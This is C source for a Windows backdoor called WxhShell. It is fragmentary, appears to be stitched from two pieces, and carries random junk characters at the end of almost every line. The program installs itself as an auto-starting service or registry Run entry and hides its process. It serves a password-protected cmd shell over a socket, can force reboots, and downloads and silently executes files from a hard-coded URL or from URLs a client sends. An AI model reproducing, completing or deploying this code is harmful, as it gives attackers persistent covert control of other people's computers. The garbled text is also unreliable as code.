    send(wsh,msg_ws_err,strlen(msg_ws_err),0); ]wR6bEm7  
    else { p`L L   
    closesocket(wsh); aLHrl6"  
    ExitThread(0); oo'iwq-\  
    } |} 9GHjG  
    break; VHj*aBHB  
    } kw;wlFU;  
  // 获取shell (Otur  
  case 's': { g!\QIv1D  
    CmdShell(wsh); W7T" d4  
    closesocket(wsh); !&6-(q9  
    ExitThread(0); WSSaZ9 =  
    break; T5V$wmB\W  
  } r=|vad$  
  // 退出 lkyJ;}_**  
  case 'x': { Y& m<lnB  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); hN}5u"pS  
    CloseIt(wsh); z(r" JNO@  
    break; ]svw CPu C  
    } gi '^qi2  
  // 离开 wb@]>MJ}[s  
  case 'q': { " _mmR M  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); w[|y0jtw  
    closesocket(wsh); r*>QT:sB  
    WSACleanup(); }0krSzcn#,  
    exit(1); EtPgzw[#c9  
    break; =$[W,+X6f  
        } cUYX1a)8  
  } ?9CIWpGjU  
  } Mc.^s  
zcZ^s v>  
  // 提示信息 z{AM2Z  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); "^!j5fZ  
} % ghJ*iHR  
  } td%Y4-+-  
A03I-^0g+  
  return; PaA6Z":  
} 1ME|G"$;  
`yy%<&  
// shell模块句柄 <'VA=orD  
int CmdShell(SOCKET sock) /^NJ)9IB  
{ x={kjym L  
STARTUPINFO si;  hgNY[,  
ZeroMemory(&si,sizeof(si)); ;A`IYRzt  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; *-+C<2"  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; j`Tm\!q  
PROCESS_INFORMATION ProcessInfo; #dL5x{gV=  
char cmdline[]="cmd"; uTxX`vH@!  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s-fKh`  
  return 0; PZ~`O  
} EC0zH#N  
n&3iz05}  
// 自身启动模式 7ucx6J]c  
int StartFromService(void) .`b4h"g:  
{ q=J9L Q  
typedef struct -i2D#i'  
{ @^B S#  
  DWORD ExitStatus; 2J1B$.3'  
  DWORD PebBaseAddress;  `NTM%# w  
  DWORD AffinityMask; Z^6A_:]j  
  DWORD BasePriority; f;&` 9s| 1  
  ULONG UniqueProcessId; Au~+Zz|mQ  
  ULONG InheritedFromUniqueProcessId; A3m{jbh  
}   PROCESS_BASIC_INFORMATION; q|?`Gsr  
LNWqgIq  
PROCNTQSIP NtQueryInformationProcess; {H/8#y4qp&  
"tEj`eR  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; 3}v0{c  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; nYo&x'  
A&x ab  
  HANDLE             hProcess; tj`tLYOZ@-  
  PROCESS_BASIC_INFORMATION pbi; 9<+;hH8J_r  
vQ?MM&6  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); h2im sjf  
  if(NULL == hInst ) return 0; Vf@S8H  
IS3e|o*]MP  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "TEBByO'  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); d<e+__ 2  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); u Zo]8mV  
U&tfl/  
  if (!NtQueryInformationProcess) return 0; yd\5Z[iEp  
Krt$=:m|1  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); f>.` xC{  
  if(!hProcess) return 0; v)wY  
&\CJg'D:m  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; TsoCW]h  
[i2A{(x  
  CloseHandle(hProcess); V,99N'o~x  
;P 0,60  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); yaCd4KP  
if(hProcess==NULL) return 0; l"2^S6vU  
R (+h)#![  
HMODULE hMod; =vB]*?;9  
char procName[255]; 3t J=d'U  
unsigned long cbNeeded; !y[}|  
z(8)1#(n7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); h0'8NvalQ  
dm/-}  
  CloseHandle(hProcess); LC~CPV'F  
^T uP=q5?  
if(strstr(procName,"services")) return 1; // 以服务启动 G~b`O20N  
bW,BhUb,|  
  return 0; // 注册表启动 E#IiyZ  
} FU [8:o62  
vWPM:1A  
// 主模块 Y^*Lh/:h  
int StartWxhshell(LPSTR lpCmdLine) 9&|12x$  
{ wdN>KS2!  
  SOCKET wsl; <-Kb@V3  
BOOL val=TRUE; D;1 6}D  
  int port=0; p 02nd.R6  
  struct sockaddr_in door; f }evw K[S  
YD0vfwh  
  if(wscfg.ws_autoins) Install(); yBXkN&1=%;  
>x|A7iWn{,  
port=atoi(lpCmdLine); r_!{!i3B  
LLXg  
if(port<=0) port=wscfg.ws_port; Zpn*XG  
Y&1!Z*OL;  
  WSADATA data; L@d]RMNv  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1;  :V5!C$QV  
wI1M0@}PV  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &sr:\Qn X/  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); PU]7c2.y  
  door.sin_family = AF_INET; |,M#8NOp:  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); T6/$pJl  
  door.sin_port = htons(port); S\yu%=h  
\S|VkPv  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { i4{ /  
closesocket(wsl); U#UVenp@  
return 1; Kd AR)EU>  
} )eTnR:=  
^^t]vojX  
  if(listen(wsl,2) == INVALID_SOCKET) { 82^ z -t{  
closesocket(wsl); n;S0fg  
return 1; 7>W+Uq  
} rS,* s'G  
  Wxhshell(wsl); 4X(1   
  WSACleanup(); 'aSZ!R  
@vQ;>4i.  
return 0; wt_?B_nR  
nkr,  
} OW[/%U>  
0s+rd&  
// 以NT服务方式启动 WL]Wu.k  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) )M|O;~q  
{ ^Xt]wl*]+  
DWORD   status = 0; H;b'"./  
  DWORD   specificError = 0xfffffff; P}.yEta  
]6i_d  
  serviceStatus.dwServiceType     = SERVICE_WIN32; Wj  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; #Kb)>gzT  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; I2Or& _  
  serviceStatus.dwWin32ExitCode     = 0; g O\f:Pg  
  serviceStatus.dwServiceSpecificExitCode = 0; |aOnV,}  
  serviceStatus.dwCheckPoint       = 0; nCSd:1DY  
  serviceStatus.dwWaitHint       = 0; D/!eov4"  
Js^r]=\F'  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); @Z=y'yc'y.  
  if (hServiceStatusHandle==0) return; p[k9C$@e}  
+"N<-  
status = GetLastError(); ~YT>:Np  
  if (status!=NO_ERROR) (`uC"MLk  
{ o<Rxt *B  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; -V<=`e  
    serviceStatus.dwCheckPoint       = 0; =vqE=:X6  
    serviceStatus.dwWaitHint       = 0; &s6(3k  
    serviceStatus.dwWin32ExitCode     = status; :+Z>nHe  
    serviceStatus.dwServiceSpecificExitCode = specificError; A]~iuUHm  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8en#PH }  
    return; 6wvhvMkS  
  } ,uqbS  
+=29y@c  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Tr}$Pb1  
  serviceStatus.dwCheckPoint       = 0; NNREt:+kr  
  serviceStatus.dwWaitHint       = 0; g^<q L|  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ke;*uS  
} d= T9mj.@  
]= QCCC  
// 处理NT服务事件,比如:启动、停止 V"Y Fu^L  
VOID WINAPI NTServiceHandler(DWORD fdwControl) |0vHy7CE  
{ [#3Cg%V  
switch(fdwControl) E6wST@ r  
{ @u'27c_<d3  
case SERVICE_CONTROL_STOP: /iJcy:J  
  serviceStatus.dwWin32ExitCode = 0; ~M9 n<kmE  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; \SHD  
  serviceStatus.dwCheckPoint   = 0; WHD/s  
  serviceStatus.dwWaitHint     = 0; :xUl+(+  
  { iYfLo">  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); {dSU \':  
  } iR}i42Cu  
  return; S;AnpiBM8  
case SERVICE_CONTROL_PAUSE: BoiIr[ (  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; n-| i  
  break; z&HN>7  
case SERVICE_CONTROL_CONTINUE: Zn*CJNB  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ,aj+mlZd2  
  break; %>z8:oJ  
case SERVICE_CONTROL_INTERROGATE: m LxwJ  
  break; r@@eC['  
}; %[ bO\,  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); }zfLm` vJ  
} BQfAen]  
J/&*OC  
// 标准应用程序主函数 pfn#~gC_=  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) =x.v*W]F`  
{ ([XyW{=h!  
"62Ysapq+  
// 获取操作系统版本 :M?')  
OsIsNt=GetOsVer(); H/la'f#o%  
GetModuleFileName(NULL,ExeFile,MAX_PATH); O |I:[S},  
m&jt[   
  // 从命令行安装 #/sE{jm  
  if(strpbrk(lpCmdLine,"iI")) Install(); 17[t_T&Ak9  
M0IqQM57N  
  // 下载执行文件 X|n[9h:%  
if(wscfg.ws_downexe) { kFZu/HRI  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) >zx50e)  
  WinExec(wscfg.ws_filenam,SW_HIDE); u.K'"-xt4K  
} 'FA)LuAok  
. eag84_  
if(!OsIsNt) { eRqexqO!  
// 如果时win9x,隐藏进程并且设置为注册表启动 ,["|wqM  
HideProc(); d~1"{WPSn  
StartWxhshell(lpCmdLine); 'N,NG$G2  
} 6Oqnb+  
else D30Z9_^%:  
  if(StartFromService()) %m\G'hY2  
  // 以服务方式启动 LVcy.kU@]  
  StartServiceCtrlDispatcher(DispatchTable); ppo$&W &z  
else H=SMDj)s+  
  // 普通方式启动 mt6uW+t/  
  StartWxhshell(lpCmdLine); wTuRo J  
bFdg '_  
return 0; d~bH!P  
} &\D<n; 3  
1B]wSvP@  
d.(]V2X.J  
=d4',[O  
=========================================== }6{)Jv  
q>lkLHS  
C]cT*B^  
a ZCZ/  
5N</Z6f'o  
NTX+7<  
" [-94=|S @  
iW%0pLn  
#include <stdio.h> ,7$uh):  
#include <string.h> Dq1XZ%8  
#include <windows.h> %1d6j<7  
#include <winsock2.h> hnL gsz  
#include <winsvc.h> 7}7C0mV3  
#include <urlmon.h> M]zNW{Xt  
qf&{O:,Z  
#pragma comment (lib, "Ws2_32.lib") 8[P6c;\  
#pragma comment (lib, "urlmon.lib") l8Iy 03H  
7(iRz  
#define MAX_USER   100 // 最大客户端连接数 hQLx"R$  
#define BUF_SOCK   200 // sock buffer E0%Y%PQ**{  
#define KEY_BUFF   255 // 输入 buffer jl%e O.  
1UWgOCc  
#define REBOOT     0   // 重启 EC\:uK  
#define SHUTDOWN   1   // 关机 gK_[3FiKt  
b6M)qt9R  
#define DEF_PORT   5000 // 监听端口 mztq7[&-  
:hdh$}y  
#define REG_LEN     16   // 注册表键长度 %lW:8 ckL  
#define SVC_LEN     80   // NT服务名长度 l{x#*~g a  
BQmafpp`  
// 从dll定义API .Eyk?"^  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); BJ2W }R  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); oa|*-nw  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); weadY,-H8  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); g 5N<B+?!i  
90k|u'ikOp  
// wxhshell配置信息 rSCX$ @@F  
struct WSCFG { `%:(IGxz  
  int ws_port;         // 监听端口 Yzx0[_'u  
  char ws_passstr[REG_LEN]; // 口令 4T\/wyq0  
  int ws_autoins;       // 安装标记, 1=yes 0=no ^u&Khc~ y  
  char ws_regname[REG_LEN]; // 注册表键名 WC;a  
  char ws_svcname[REG_LEN]; // 服务名 jmVy4* P_  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 \(t>(4s_~  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 iz5wUyeg  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 W%QtJB1)  
int ws_downexe;       // 下载执行标记, 1=yes 0=no ~TIZumGB  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" TmH13N]  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 n,LKkOG  
mV]g5>Q\  
}; n 9M6wS  
VQ}3r)ch  
// default Wxhshell configuration l:}4 6%  
struct WSCFG wscfg={DEF_PORT, -%$ dFq  
    "xuhuanlingzhe", OvG|=  
    1, UwT$IKR  
    "Wxhshell", [`dipLkr  
    "Wxhshell", YhR"_  
            "WxhShell Service", ,QAp5I%3=  
    "Wrsky Windows CmdShell Service", Y}z?I%zL  
    "Please Input Your Password: ", Oj\mkg  
  1, l~c> jm8.  
  "http://www.wrsky.com/wxhshell.exe", e!'u{>u  
  "Wxhshell.exe" (19<8a9G  
    }; 6;V 1PK>9  
&h[}5  
// 消息定义模块 p[:%Ck"$7  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; ZJM^P'r.1c  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Bq`kVfx  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; SXF_)1QO\W  
char *msg_ws_ext="\n\rExit."; !}48;Pl  
char *msg_ws_end="\n\rQuit."; /a)=B)NH  
char *msg_ws_boot="\n\rReboot..."; Xh!Pg)|E  
char *msg_ws_poff="\n\rShutdown..."; d'D\#+%> =  
char *msg_ws_down="\n\rSave to "; ?"u-@E[m  
Ux]@p rAq  
char *msg_ws_err="\n\rErr!"; 1yc@q8  
char *msg_ws_ok="\n\rOK!"; E.9k%%X]  
&$im^0`r_  
char ExeFile[MAX_PATH]; :N:8O^D^<  
int nUser = 0; )S?}huX  
HANDLE handles[MAX_USER]; H.K`#W&  
int OsIsNt; w+P^c|  
yBKlp08J  
SERVICE_STATUS       serviceStatus;  I ^92b  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; IbwRb  
pSUp"wch  
// 函数声明 ZK*aVYnu  
int Install(void); n/D]r  
int Uninstall(void); 4tTJE<y  
int DownloadFile(char *sURL, SOCKET wsh); z|H>jit+  
int Boot(int flag); N Q=YTRU  
void HideProc(void); Dw,f~D$+ic  
int GetOsVer(void); k JFHUR  
int Wxhshell(SOCKET wsl); c>.Xc[H  
void TalkWithClient(void *cs); Lcm!e  
int CmdShell(SOCKET sock); BT0hx!Ti  
int StartFromService(void); Gjr2]t;E  
int StartWxhshell(LPSTR lpCmdLine); 2 wvDC@  
eQj/)@B:V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); F tjm@:X  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); r U5'hK  
t,nB`g?  
// 数据结构和表定义 #1R %7*$i  
SERVICE_TABLE_ENTRY DispatchTable[] = gvYs<,:  
{ B[50{;X  
{wscfg.ws_svcname, NTServiceMain}, uD3_'a  
{NULL, NULL} e vuP4-[y  
}; $S{j}74[  
cIjsUqKa  
// 自我安装 DcHMiiVM  
int Install(void) z& jDOex  
{ ~V)E:(  
  char svExeFile[MAX_PATH]; ;_\P;s  
  HKEY key; HbVLL`06*  
  strcpy(svExeFile,ExeFile); V;(LeuDH|  
#C mBgxg+M  
// 如果是win9x系统,修改注册表设为自启动 pT tX[CE  
if(!OsIsNt) { XvY-C  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { q#Vf2U55m  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); O!tD1^O!1}  
  RegCloseKey(key); :_ox8xS4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ls Ch K  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); gZv <_0N  
  RegCloseKey(key); Hc9pWr "N  
  return 0; SGm? "esEt  
    } 9_{!nQC.g  
  } [DwB7l)O(  
} g(k|"g`*  
else { RUKSGj_NJ  
FO$Tn+\6  
// 如果是NT以上系统,安装为系统服务 -&}E:zoe  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); OFv} jT  
if (schSCManager!=0) 566Qik w2  
{ lfP|+=^B  
  SC_HANDLE schService = CreateService pkx>6(Y  
  ( ri ~2t3gg  
  schSCManager, IIkJ"Qg.  
  wscfg.ws_svcname, f'dI"o&^/d  
  wscfg.ws_svcdisp,  Km7  
  SERVICE_ALL_ACCESS, $(U|JR@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 9j`-fs@:  
  SERVICE_AUTO_START, |{T2|iJI  
  SERVICE_ERROR_NORMAL, wQT'~'kL  
  svExeFile, 6* 7&X#gG  
  NULL, _L":Wux  
  NULL, bSfQH4F  
  NULL, HenJlo  
  NULL, ~@lNBF  
  NULL F04Etf 2k  
  ); R8l9i2  
  if (schService!=0) xJCpWU3wM  
  { xTT>3Fj  
  CloseServiceHandle(schService); CCV~nf  
  CloseServiceHandle(schSCManager); Rd)QVEk>SD  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); UZ#2*PH2E  
  strcat(svExeFile,wscfg.ws_svcname); d/1XL[&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { s9iM hCu|  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); \BL9}5y  
  RegCloseKey(key); @#apOoVW>  
  return 0; tS$Ne7yk e  
    } nP^$p C  
  } \~PFD%]:3  
  CloseServiceHandle(schSCManager); MXb(Z9)]kw  
} |k+^D:  
} pC6_ jIZ  
*C\O] r:'  
return 1; }kpkHq"`f  
} &^.'g{\Y  
\+xsJbEV  
// 自我卸载 4"sP= C  
int Uninstall(void) c'b,=SM  
{ ~"k'T9QBY  
  HKEY key; FWg7 e3  
9\F^\h{  
if(!OsIsNt) { ry'(m M  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Q*he%@w  
  RegDeleteValue(key,wscfg.ws_regname); Ero3A'f  
  RegCloseKey(key); o#i {/# oF  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { =u(fP" |{  
  RegDeleteValue(key,wscfg.ws_regname); Gkl#s7'  
  RegCloseKey(key); Ot?rsr  
  return 0; fOVRtSls  
  } z?PF9QL1  
} B !XT:.+  
} }49?Z3  
else { uyj5}F+O  
,O}zgf*H;  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); b7-a0zaN  
if (schSCManager!=0) )l=j,4nn  
{ -8Ii QRS  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); v,jU9D \  
  if (schService!=0) <~d N23)  
  { ;>~iCF k]?  
  if(DeleteService(schService)!=0) { .eE5pyw+C  
  CloseServiceHandle(schService); $)U RY~;i  
  CloseServiceHandle(schSCManager); >9 iv>  
  return 0; KvQ9R!V  
  } du !.j  
  CloseServiceHandle(schService); "jSn`  
  } sdb#K?l  
  CloseServiceHandle(schSCManager); 7$'ja  
} /vu7;xVG  
} _xJ&p$&  
_/Hu'9432  
return 1; -a3C3!!  
} V|7 c dX#H  
yxH[uJpb  
// 从指定url下载文件 mU!c;O  
int DownloadFile(char *sURL, SOCKET wsh) FQ5# v{  
{ s[hD9$VB>  
  HRESULT hr; W/ERqVZR]  
char seps[]= "/"; R$q:Ct  
char *token; m*1=-" P  
char *file; R&?p^!`%  
char myURL[MAX_PATH]; C<3An_Dy  
char myFILE[MAX_PATH]; ' {Q L`L  
^#nAS2w7U  
strcpy(myURL,sURL); j'Fni4;  
  token=strtok(myURL,seps); ^dro*a,  
  while(token!=NULL) /#tOi[0[  
  { b{A#P?  
    file=token; t4h* re+  
  token=strtok(NULL,seps); uB\A8zC  
  } o\N),;LM  
+U[A.^t  
GetCurrentDirectory(MAX_PATH,myFILE); /wQDcz  
strcat(myFILE, "\\"); {J[0UZ6  
strcat(myFILE, file); k{; 2*6b0  
  send(wsh,myFILE,strlen(myFILE),0); V[~/sc )  
send(wsh,"...",3,0); ='(:fHhhX  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); w0pH|$"/P  
  if(hr==S_OK) B{44|aq1|  
return 0; 3oh(d. Z  
else 1c]GS&(RP  
return 1; &W1cc#(  
r'&VH]m  
} ;e+ErN`a.~  
4XRVluD%W.  
// 系统电源模块 Lx.X#n.]T  
int Boot(int flag) p?5zwdX+`  
{ @>:r'Fmu-  
  HANDLE hToken; O %OeYO69  
  TOKEN_PRIVILEGES tkp; "bJWyUb  
./u3z|q1  
  if(OsIsNt) {  0y?bwxkc  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 9Z} -%Z[,)  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); D ,nF0p  
    tkp.PrivilegeCount = 1; LVX.stN#p  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; C&\#{m_1B  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); d;K,2  
if(flag==REBOOT) {  W+e  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) u-D%: lz85  
  return 0; Ay[6rUO  
} 8/k* "^3  
else { F8q|$[nH  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ^5OR%N)  
  return 0; HN\9 d  
} WmeV[iI  
  } {$Qw]?Yv  
  else { W 5-=,t  
if(flag==REBOOT) { 3qP! (*  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) nBR4j?':i  
  return 0;  Hi#hf"V  
} qeypa !  
else { nPE{Gp) }  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) T< D&%)  
  return 0; ta %yQd7  
} u{J$]%C   
} `#R[x7bA1  
`KB;3L  
return 1; w=,bF$:fIW  
} ^DD]jx  
9J*.'Y  
// win9x进程隐藏模块 ,XU<2jv]  
void HideProc(void) H>X:#xOA_  
{ 1 Qln|b8<  
zt6GJ z1q  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Kqm2TMO]>V  
  if ( hKernel != NULL ) y2KR^/LN|Y  
  { 7*.nd  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); h:xvnyaI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0.+MlyA  
    FreeLibrary(hKernel); G .NGS%v  
  } ZwM(H[iqL  
\I (g70  
return; ;X, A|m$(  
} 8MU+i%hd  
I;FHjnn(  
// 获取操作系统版本 EV/DJ$C }  
int GetOsVer(void) )\Am:?RH;  
{ B 1je Ik,  
  OSVERSIONINFO winfo; -%,=%FBi~4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); k..AP<hH  
  GetVersionEx(&winfo); }20~5!  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) uVN2}3!)Y  
  return 1; f?W_/daP  
  else  4 Fl>XM  
  return 0; ]Q$Sei5  
} }p5_JXBV  
Kl_(4kQE_  
// 客户端句柄模块 zcGmru|k  
int Wxhshell(SOCKET wsl) f\xmv|8  
{ wDR/Vr"f  
  SOCKET wsh; 5If.[j{  
  struct sockaddr_in client; 4 K5  
  DWORD myID; q#=HBSyM  
/*P) C'_M  
  while(nUser<MAX_USER) Z-:T')#Cf  
{ @CMEmgk~  
  int nSize=sizeof(client); "zj[v1K9-A  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); > 9.%hSy  
  if(wsh==INVALID_SOCKET) return 1; [n4nnmM  
V/`vX;%  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); jh(T?t$&  
if(handles[nUser]==0) jIEntk  
  closesocket(wsh); G>=Fdt7Oc  
else 9A~w2z\G  
  nUser++; rtNYX=P  
  } U$|q]N  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); e.\dqt~%y  
<p/zm}?')  
  return 0; DG?g~{Y~b  
} t'1g+g  
Qo32oT[DM  
// 关闭 socket ,BUrZA2\U$  
void CloseIt(SOCKET wsh) 1oe,>\\  
{ ulE5lG0c  
closesocket(wsh); X!_&%^L'  
nUser--; e>6|# d  
ExitThread(0); DL`8qJ'mJs  
} {7jl) x3l  
":0u%E?s  
// 客户端请求句柄 3^[P  
void TalkWithClient(void *cs) =^1jVaAL  
{ q #mBNe62p  
=p^$>o  
  SOCKET wsh=(SOCKET)cs; 1w~PHH`~  
  char pwd[SVC_LEN]; &(oA/jFQ  
  char cmd[KEY_BUFF]; T*:w1*:  
char chr[1]; ! c`&L_ "!  
int i,j; ; [G:  
A'BqNsy  
  while (nUser < MAX_USER) { {n|ah{_p|  
"AU.Eh"-1  
if(wscfg.ws_passstr) { nNq<x^@83  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l`.z^+!8@  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); D&i\dgbK  
  //ZeroMemory(pwd,KEY_BUFF); p[w! SR%=  
      i=0; LN~mKoW  
  while(i<SVC_LEN) { ]DKRug5  
Q 9fK)j1$  
  // 设置超时 /78]u^SW  
  fd_set FdRead; ((C|&$@M  
  struct timeval TimeOut; M!+J[q  
  FD_ZERO(&FdRead); Qo)Da}uo20  
  FD_SET(wsh,&FdRead); &Ts!#OcB,  
  TimeOut.tv_sec=8; !m^;wkrY  
  TimeOut.tv_usec=0; Li]bU   
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); b"WF]x|^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 10fxK  
d7Vp^^}(  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); hw,nA2w\  
  pwd=chr[0]; $2\ 8Rn6'  
  if(chr[0]==0xd || chr[0]==0xa) { ~5'7u-;  
  pwd=0; s3eS` rK-  
  break; UAPd["`)y  
  } Lo3N)~5  
  i++; / cb`%"Z  
    } JcUU#>  
}/dk2!?ig  
  // 如果是非法用户,关闭 socket 9 wZ?")2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); @4hzNi+  
} g'KxjjYT,  
ffG<hclk  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); PJiU2Y33  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 4XNheP;b  
VE-l6@`  
while(1) { h~7#$i  
pd:7K'yaw  
  ZeroMemory(cmd,KEY_BUFF); "h#R>3I1)  
g:z<CSIq/  
      // 自动支持客户端 telnet标准   D#UuIZ  
  j=0; ''YqxJ fb  
  while(j<KEY_BUFF) { I<O$);DV'  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @oE 5JM  
  cmd[j]=chr[0]; xRe`Duy:  
  if(chr[0]==0xa || chr[0]==0xd) { #m,H1YH M  
  cmd[j]=0; `0\Z*^>  
  break; PFuhvw~?  
  } nm@ h5ON_  
  j++; z3y{0<3  
    } (B>/LsTu  
'g!T${  
  // 下载文件 #h?I oB7  
  if(strstr(cmd,"http://")) { TY)QE  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); i}VF$XN  
  if(DownloadFile(cmd,wsh)) SK lvZ  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); _8a;5hS  
  else qS#G7~ur>y  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); c`soVqT$?  
  } bZNqv-5 4h  
  else { T9 /;$6s*  
eCYPd-d  
    switch(cmd[0]) { Fp/{L  
  C3}:DIn"w  
  // 帮助 >G:Q/3jh  
  case '?': { H].|K/-p  
